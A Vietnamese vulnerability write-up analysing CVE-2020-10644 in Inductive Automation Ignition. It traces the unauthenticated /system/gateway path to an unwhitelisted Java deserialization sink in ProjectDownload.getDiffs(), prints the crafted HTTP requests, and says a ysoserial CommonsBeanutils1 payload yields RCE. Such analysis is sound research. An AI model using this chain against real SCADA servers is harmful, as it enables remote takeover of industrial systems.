Vào một buổi chiều, em teammate @lengocanh có rủ mình phân tích một vài CVE của Inductive Automation Ignition. Ở đây mình chọn một CVE phân tích khá đơn giản là CVE-2020-10644 để khởi đầu chuỗi series phân tích các lỗ hổng của Inductive Automation Ignition. Đây là lỗ hổng được team Flashback tìm ra và đem tham dự Pwn2Own Miami 2020 vào tháng 1/2020. Lỗ hổng này cho phép attacker có thể RCE unauthen đến server đang chạy Inductive Automation Ignition từ phiên bản 8.0.0 đến 8.0.7.

Setup debug

Việc setup diễn ra rất đơn giản, chỉ cần cài đặt phiên bản có lỗ hổng (ở đây mình chọn phiên bản 8.0.7) để setup debug thôi. https://inductiveautomation.com/downloads/archive/8.0.7

Mình sử dụng Windows để setup nên download bộ cài này rồi cài vào thôi
https://files.inductiveautomation.com/release/ia/build8.0.7/20191220-1439/Ignition-8.0.7-windows-x64-installer.exe

Ở đây chương trình sử dụng wrapper deploy nên debug khá dễ dàng, chúng ta chỉ cần chỉnh sửa một chút ở file ignition.conf trong C:\Program Files\Inductive Automation\Ignition\data là được

Bỏ commend dòng này là oke. Debug port tại 8000

1
wrapper.java.additional.3=-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:8000

image.png

Sau đó chỉ cần stop rồi start lại Ignition là xong

Kéo toàn bộ file .jar ra ngoài rồi import vào trong Intellij để debug image.png image.png

Phân tích CVE-2020-10644

CVE này được mô tả rằng

Một kẻ tấn công chưa được xác thực có thể khai thác cấu hình mặc định để thực thi mã từ xa dưới dạng SYSTEM trên Windows hoặc root trên Linux.

Việc khai thác để được RCE thì chúng ta cần đi qua 3 yếu tố

  • Truy cập chưa được xác thực vào tài nguyên nhạy cảm
  • Java Deserialization không an toàn
  • Sử dụng thư viện Java không an toàn

Ignition lắng nghe trên nhiều port TCP và UDP khác nhau để xử lý các giao thức SCADA và các chức năng khác. Các port chính bao gồm TCP 8088 và TCP/TLS 8043, được sử dụng để điều khiển máy chủ quản trị thông qua HTTP(S), và xử lý giao tiếp giữa các thành phần của Ignition.

Có một số endpoint API đang lắng nghe trên cổng đó, nhưng endpoint được sử dụng để exploit này là tại /system/gateway. Endpoint API này cho phép người dùng có thể gọi hàm từ xa, tuy nhiên chỉ một số ít hàm được gọi bởi người dùng chưa được xác thực (Login.designer() là một trong số đó). Nó giao tiếp với các client bằng cách sử dụng XML chứa các đối tượng Java được serialized trong đó, và code của nó đặt trong class com.inductiveautomation.ignition.gateway.servlets.Gateway

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /system/gateway HTTP/1.1
Content-type: text/xml
User-Agent: Java/11.0.4
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 845

<?xml version="1.0" encoding="UTF-8"?>
<requestwrapper>
    <version>1184437744</version>
    <scope>2</scope>
    <message>
        <messagetype>199</messagetype>
        <messagebody>
            <arg name="funcId"><![CDATA[Login]]></arg>
            <arg name="subFunction"><![CDATA[designer]]></arg>
            <arg name="arg" index="0"><![CDATA[H4sIAAAAAAAAAFvzloG1hMG1Wqm0OLUoLzE3VTc1L1nJSinFMMnQyDApMdnEyCzJyDhVSUepILG4uDy/KAWXiloAvpMDvEwAAAA=]]></arg>
            <arg name="arg" index="1"><![CDATA[H4sIAAAAAAAAAFvzloG1uIhBMCuxLFEvJzEvXc8zryQ1PbVI6NGCJd8b2y2YGBg9GVjLEnNKUyuKGAQQ6vxKc5NSi9rWTJXlnvKgm4mBoaKgItLQAACH6ksSUQAAAA==]]></arg>
            <arg name="arg" index="2"><![CDATA[H4sIAAAAAAAAAFvzloG1hIHXtbQovyBV3yc/LyU/DwDHsV9XFAAAAA==]]></arg>
            <arg name="arg" index="3"><![CDATA[H4sIAAAAAAAAAFvzloG1hIHfxTXYO8Q/QNc/MDDE1MkYAOTFO60WAAAA]]></arg>
        </messagebody>
    </message>
    <locale>
        <l>en</l>
        <c>GB</c>
        <v></v>
    </locale>
</requestwrapper>

Vậy tại sao nó có thể gọi được hàm Login.designer()

Request chứa các đối tượng Java được serialized truyền vào các hàm có thể được gọi từ xa. Ví dụ request trên cho thấy chúng ta có thể gọi đến hàm designer() của class com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login với 4 args.

Call stack trước khi chúng ta đến Login.designer() như sau:

1
2
3
com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()
com.inductiveautomation.ignition.gateway.servlets.gateway.AbstractGatewayFunction.invoke()
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login.designer()

Trước mỗi function có thể được gọi thông qua endpoint /system/gateway chúng ta có thể thấy đoạn @GatewayFunction

image.png

Đoạn code @GatewayFunction là một annotation trong Java, được sử dụng để xác định rằng phương thức được chú thích với annotation này là một gateway function.

Trong Automation Ignition, các gateway function là các phương thức được gọi từ các module khác nhau trên gateway để thực hiện các tác vụ như đọc và ghi dữ liệu, xử lý logic, kết nối với các thiết bị và hệ thống khác.

Khi một phương thức được đánh dấu với annotation @GatewayFunction, nó sẽ được đăng ký với hệ thống gateway và có thể được gọi bởi các module khác trên cùng một gateway hoặc từ các gateway khác trong mạng lưới.

Annotation @GatewayFunction cũng cung cấp các thông tin cho hệ thống về các tham số đầu vào và đầu ra của phương thức, cũng như tên và mô tả của gateway function.

Trở lại với com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost() Gateway.doPost() thực hiện check version và check một vài cái khác, sau đó gửi yêu cầu tới AbstractGatewayFunction.invoke(), yêu cầu này sẽ phân tích cú pháp và xác thực yêu cầu đó trước khi gọi Login.designer()

image.png

image.png

AbstractGatewayFunction.invoke() thực hiện các công việc sau:

  1. Phân tích request nhận được
  2. Xác định function cần được gọi
  3. Check function args
    • Đảm bảo rằng function args là an toàn để decode
    • Đảm bảo số lượng args phù hợp với function đích
  4. Thực hiện gọi function với các args đã được decode
  5. Thực hiện gửi response trả lại client

Tuy nhiên, chỉ có thể gọi được những function nào được đánh dấu là 1 annotation với @GatewayFunction

Ta thấy tại AbstractGatewayFunction.invoke() có thực hiện decode args, sử dụng hàm decodeToObjectFragile() và thực hiện truyền classWhitelist với giá trị được lấy từ

1
classWhitelist = Sets.newHashSet(SaferObjectInputStream.DEFAULT_WHITELIST);

image.png

Bên trong hàm sử dụng SaferObjectInputStream với Whitelist bên dưới, chúng ta không thể tấn công trực tiếp vào đây được mà cần phải thực hiện đi đường vòng khác.

1
2
3
4
5
6
public static final Set<Class<?>> DEFAULT_WHITELIST = ImmutableSet.of(String.class, Byte.class, Short.class, Integer.class, Long.class, Number.class, new Class[]{Float.class, Double.class, Boolean.class, Date.class, Color.class, ArrayList.class, HashMap.class, Enum.class});
private final Set<String> whitelist;

public SaferObjectInputStream(InputStream in) throws IOException {
    this(in, DEFAULT_WHITELIST);
}

Nhưng, nếu chúng ta kiếm được hàm nào gọi decodeToObjectFragile() nhưng không thực hiện truyền class whiteList, chúng ta hoàn toàn có thể tấn công vào đây.

Insecure Java Deserialization

Do AbstractGatewayFunction.invoke() có thể gọi được những function nào được đánh dấu là 1 annotation. Vậy chỉ cần tìm thêm điều kiện hàm đó sử dụng decodeToObjectFragile() không truyền thêm classWhitelist là được.

Cũng may mắn có function như thế, thỏa mãn điều kiện nêu trên
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload.getDiffs()

image.png

Gửi request như sau và hit break point

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /system/gateway HTTP/1.1
Host: 172.17.120.70
Content-type: text/xml
User-Agent: Java/11.0.4
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 623

<?xml version="1.0" encoding="UTF-8"?>
<requestwrapper>
    <version>1184437744</version>
    <scope>2</scope>
    <message>
        <messagetype>199</messagetype>
        <messagebody>
            <arg name="funcId"><![CDATA[ProjectDownload]]></arg>
            <arg name="subFunction"><![CDATA[getDiffs]]></arg>
            <arg name="arg" index="0"><![CDATA[H4sIAAAAAAAAAFvzloG1hMG1Wqm0OLUoLzE3VTc1L1nJSinFMMnQyDApMdnEyCzJyDhVSUepILG4uDy/KAWXiloAvpMDvEwAAAA=]]></arg>
        </messagebody>
    </message>
    <locale>
        <l>en</l>
        <c>GB</c>
        <v></v>
    </locale>
</requestwrapper>

image.png

Tóm lại, chain sẽ như thế này

1
2
3
4
5
6
7
8
9
com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()
👇
com.inductiveautomation.ignition.gateway.servlets.gateway.AbstractGatewayFunction.invoke()
👇
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload.getDiffs()
👇
com.inductiveautomation.ignition.common.Base64.decodeToObjectFragile()
👇
((ObjectInputStream)ois).readObject()

May thay phiên bản này có commons-beanutils-1.9.2.jar trong lib, chúng ta có thể sử dụng ysoserial với CommonsBeanutils1, encode base64 rồi truyền vào arg request bên trên, là có thể RCE

Tham khảo